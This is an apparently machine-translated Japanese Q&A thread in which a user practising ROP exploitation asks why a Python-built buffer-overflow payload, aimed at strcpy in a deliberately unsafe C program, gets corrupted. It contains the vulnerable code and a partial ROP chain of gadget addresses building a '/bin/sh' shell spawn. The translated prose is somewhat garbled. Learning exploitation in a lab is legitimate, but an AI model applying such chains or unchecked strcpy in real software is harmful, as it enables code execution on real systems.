私はPythonで生成された入力を使ってCで単純なバッファを埋めようとしています。これはROPプロジェクトの練習です。 gcc -m32 -ggdb -fno-stack-protector -mpreferred-stack-boundary=2 test.c -o test
Pythonの入力からバッファ内のstrcpyが正しくない
私のハードウェア:x86-64で、Linuxのミント
#include <string.h>
int main(int argc, char **argv)
{
char buf[128];
strcpy(buf, argv[1]);
}
としてコンパイル:ここでは、単純なCコードです。私はargv[1]
として入力これをバッファが最後の行まで正しく記入何らかの理由で
from struct import pack
p = '//bin/sh' #address 0xffffd15c
p += 'A'*28
#null terminate our string
p += pack("<I", 0x0806e67a) # pop edx ; ret
p += pack("<I", 0xffffd163) # @ "/bin/sh" + 7
p += pack("<I", 0x080bac56) # pop eax ; ret
p += pack("<I", 0xffffffff) # 0xffffffff, or could xor the instruction
p += pack("<I", 0x0807b0cf) # inc eax ; ret
p += pack("<I", 0x08099fad) # mov dword ptr [edx], eax ; ret
:
は、ここでのpython入力の一部です。バッファーに0x08099fad
を書き込む代わりに、0x00009fad
と表示されます。この行に従う入力が増えていますが、これはねじが上がって残りの入力が迷惑になります(私が入力したものではありません)。
何らかの理由で、NULLバイトがstrcpyに挿入されている可能性があります。おそらく早すぎて終了することがあります。しかし、nullバイトがどこにあるのかわかりません。このアドレスを入力しようとすると同じことが起こります。これは後で0x080acedc
となります。
どのような考えですか?
ありがとうございます!
多分、これらのすべての連結結果は、127より長い文字列になります。それは確かに近いです。寛大で、簡単な 'main'のローカル変数として動作する' 1000'の長さの文字列で試してください。また、 'argv [1]'を使う前に 'argc'をチェックしてください。 –
こんにちは。返信いただきありがとうございます。その目的は、バッファオーバーフローを行い、128バイトの割り当てを十分に上回ることでした。上記のPythonの入力はその一部です。最後のアドレスである '0x08099fad'をコメントアウトすると、残りの入力はちょうど良い後に入力されます。しかし、特に、このアドレスは、そのアドレスの書き込み中に入力全体が乱れることになります。 – TRP
これは意図的な悪用ですか?なぜあなたがそれを考案したときに*未定義の行動*を説明するのを求めるのですか? –